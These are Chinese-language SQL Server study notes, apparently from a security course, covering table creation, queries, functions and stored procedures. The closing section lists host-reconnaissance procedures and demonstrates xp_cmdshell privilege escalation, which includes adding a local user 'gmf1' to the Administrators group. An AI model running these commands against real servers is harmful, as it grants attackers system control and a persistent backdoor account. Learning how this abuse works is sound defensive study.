Sql server的语句

create database  tb1
drop database tb1
-- 创建数据库
create database stu on
(name='s2',
filename='c:\temp\stu.mdf',
size=3MB,
filegrowth=5MB
)
log on
(
name='s2_log',
filename='c:\temp\stu.ldf',
size=3MB,
filegrowth=5%
)
drop database stu
use stu

-- 创建表单
create table stu_info
(
sid int primary key not null identity(1,1),
name nvarchar(10) not null,
sex char(2) check(sex in('男','女')) not null,
age as datediff(year,birth,getdate()),
birth date not null,
addr nvarchar(50) default('北京'),
email nvarchar(50) check(email like '%@%'),
tel nvarchar(30),
)

create table course
(
cid int primary key not null identity(1,1),
cname nvarchar(20) not null,
)
create table score
(
sid int foreign key(sid) references stu_info(sid),
cid int foreign key(cid) references course(cid),
cj int not null check(cj between 0 and 100),
primary key(sid,cid),
)
 
-- 修改表结构
-- 增加字段
 alter table stu_info add mr bit;
 alter table stu_info add beizhu nvarchar(50);
 select * from stu_info;
 -- 修改字段
 alter table stu_info alter column beizhu nvarchar(200);
 -- 删除字段
 alter table stu_info drop column beizhu
 -- 增加数据记录
 -- 全部字段插入
 insert into stu_info values('w1','男','1988-8-8','shanghai','w1@onetest.com','1245678',1)
 -- 部分字段插入记录
 insert into stu_info(name,sex,birth,email) values('w2','女','1999-1-1','w2@onetest.com')
 -- 插入空字段
 insert into stu_info values('w3','女','2021-2-2',DEFAULT,null,null,null)
 -- 一次插入多行数据
 insert into stu_info
 select 'w4','女','2021-2-2','土耳其',null,null,0 union
 select 'w5','男','1991-3-8','土耳其',null,'123458796',1 union
 select 'w6','女','2001-1-1','土耳其',null,'125478963',null union
 select 'w7','男','1834-6-2','土耳其',null,'143362664',0
 
 -- 插入课程表纪录
 insert into course
 select '渗透测试' union
 select '云为开发' 
 select  * from course
 
 insert into score
 select 1,1,60 union
 select 1,2,90 union
 select 2,2,60 union
 select 6,2,80 union
 select 3,1,70 union
 select 3,2,30 union
 select 5,2,80 union
 select 4,2,90 union
 select 7,2,90 
 select * from score
-- 将姓名为w7的学生的性别改为女
update stu_info set sex='女' where name='w7'
-- 将所有北京人的邮箱为空的改为bj@126.com
update stu_info set email='bj@126.com' where addr='北京' and email is null
-- 删除学号为w7的学生信息
delete from stu_info where name='w7'
--获得sqlserver的元数据
--1.获取所有数据库名
SELECT Name FROM Master..SysDatabases ORDER BY Name
--2.获取所有表名:
select *from sysobjects where XTYPE='U'
select *from sysobjects where XTYPE='S'
-- 所有字段名
select *from sysColumns where id=OBJECT_ID('stu_info')
select *from sysColumns where id=OBJECT_ID('score')
-- 查询数据库的版本
select @@version
-- 查询服务名
select @@servername
 --查询主机名
select host_name();
select DB_NAME()
select DB_NAME(5)
select USER  -- datebaseowner
-- 聚合函数
--总共多少人
 select COUNT(*) from stu_info
--求总分
select sum(cj) from score
--最高低分
select top 1 * from score order by cj desc 
select MAX(cj) as'成绩' from score
select min(cj) as'成绩' from score
select AVG(cj) as'成绩' from score
-- 男生多少人，女生多少人
select sex,COUNT(*) from stu_info
group by sex;

select sex,COUNT(*) from stu_info
group by sex
having sex='男'

select sex,COUNT(*) from stu_info
where sex='男'
group by sex
--每个学生的平均成绩
select * from score
select sid,AVG(cj) from score
group by sid
--每个学生的平均成绩，低于六十的学生显示
select sid,AVG(cj) from score
 group by sid 
 having AVG(cj)<60
 -- 错误的sql
select sid,AVG(cj) 
from score where cj<60 
group by sid
--邮箱不为空的人数 
select * from stu_info 
select COUNT(*) from stu_info where email is not null
--每门课程的最高分是多少分
select * from score 
select cid,MAX(cj) from score 
group by cid
--至少有一门课程及格的学生学号
select sid from score 
where cj>=60 
group by sid

select distinct sid from score 
where cj>=60

-- 至少有两门课程及格的学生学号
select sid from score 
where cj>=60 
group by sid 
having COUNT(sid)>=2
--只要有及格的就找到 
select distinct sid from score 
where cj>=60

--每个学生的平均成绩
select sid,AVG(cj) from score
group by sid

--每门课程平均分：
select cid,avg(cj) 课程平均分 from score
group by cid

select * from course 
select * from score
--平均分大于70分的学生
 select sid,AVG(cj) 学生平均分 from score 
 group by sid 
 having AVG(cj)>=70
--每人总分
select sid,SUM(cj) 学生总分 from score 
group by sid

--60分以上的成绩中，每个人平均分
select sid ,avg(cj)学生平均分 from score 
where cj>=60 
group by sid
--每个人平均分，从大到小排
select sid,AVG(cj) 学生平均分 from score
group by sid 
order by AVG(cj) desc
--日期函数
select getdate()
 
select datediff(mm,'04/01/1999','07/01/1999') 月份

select datepart(weekday,getdate());

select YEAR(getdate())
select month(getdate())
select day(getdate())
select CONVERT(varchar(5),12345)+'是数字'
select CONVERT(varchar(20),GETDATE(),120)

--找出出生在9月的学生信息
select * from stu_info 
where MONTH(birth)=9

--找出所有的90后
select * from stu_info 
where YEAR(birth) between 1990 and 1999

-- 延时
waitfor delay '0:0:2'

-- 字符串函数
 select LEN('sql课程')
 select RIGHT('买卖提,吐尔松',3)
 select left('买卖提,吐尔松',3)
 --将所有姓w的改称姓y的
update stu_info set name='y'+RIGHT(name,LEN(name)-1) 
where name like 'w%' 
select * from stu_info

select 1,2,3 union select 4.1,5.2,6.3

declare @a nvarchar(10);
set @a='zhang';
select @a
print @a

--无参存储过程
create proc p1
as 
       declare @a int 
       select @a=AVG(cj) from score 
       if @a>70 
           print '合格' 
       else 
           print '不合格' 
go 
--删除存储过程
drop proc p1       
--执行存储过程 
p1
exec  p1
select AVG(cj) from score

--带参存储过程
create proc p2 @ccid int
as

    select AVG(cj) as 平均分,MAX(cj) as 最高分,min(cj) as 最低分 from score
    where cid=@ccid;
go
select * from score
exec p2 2

-- 系统存储过程
exec sp_databases             --显示服务器上所有数据库
exec sp_helpdb                --报告所有数据库或指定数据库信息
exec sp_tables                --返回当前环境下可查询的对象的列表、
exec sp_renamedb stu,demo     --修改数据库名称
exec sp_columns stu_info      --返回某个列表的信息 ,如学生表(stu_info)
exec sp_help stu_info         --查看某个表的所有信息,如stu_info表 
exec sp_stored_procedures     --列出当前环境中的所有储存过程
exec sp_helptext p2           --显示默认值,未加密的储存过程,用户定义的储存过程,触发器或视图的实际文本
exec sp_helptext sp_stored_procedures
exec sp_password NulL,'123456','sa' -- 修改用户密ma

-- 高风险的存储过程
exec master..sp_msgetversion       --获得MS SQL的版本号
exec master..xp_dirtree 'c:'       --得到硬盘文件信息 -
exec master..xp_dirtree 'c:',1,1 
exec master..xp_enumgroups         --列出服务器上所有windows本地组
exec master..xp_enumerrorlogs      --列出sql server错误日志列表,最后更新时间
exec master..xp_fixeddrives        --列出服务器上固定驱动器,以及每个驱动器的可用空间
exec master..xp_getnetname         --得到当前sql server服务器的计算机名称
exec [master].[dbo].[xp_readerrorlog] --列出当前错误日志的具体内容
exec [master].[dbo].[xp_subdirs] 'c:\WINDOWS' --列出指定目录的所有下一级子目录
exec [master].[dbo].[xp_availablemedia]--列出驱动器的名称
exec sp_helpuser                      --查看所有用户

use stu
truncate table score
select * from score

-- xp_cmdshell 提权原理：利用这个存储过程 ，执行系统的shell命令

 

use master
-- 开启存储过程
reconfigure;
exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;
RECONFIGURE;
exec xp_cmdshell 'mkdir d:\myfile',no_output

exec xp_cmdshell 'whoami'
exec xp_cmdshell 'net user'
exec xp_cmdshell 'net user gmf1 123456 /add';
exec xp_cmdshell 'net localgroup Administrators gmf1 /add';

-- 关闭存储过程
exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;
RECONFIGURE;
exec sp_configure 'show advanced options',0;
RECONFIGURE;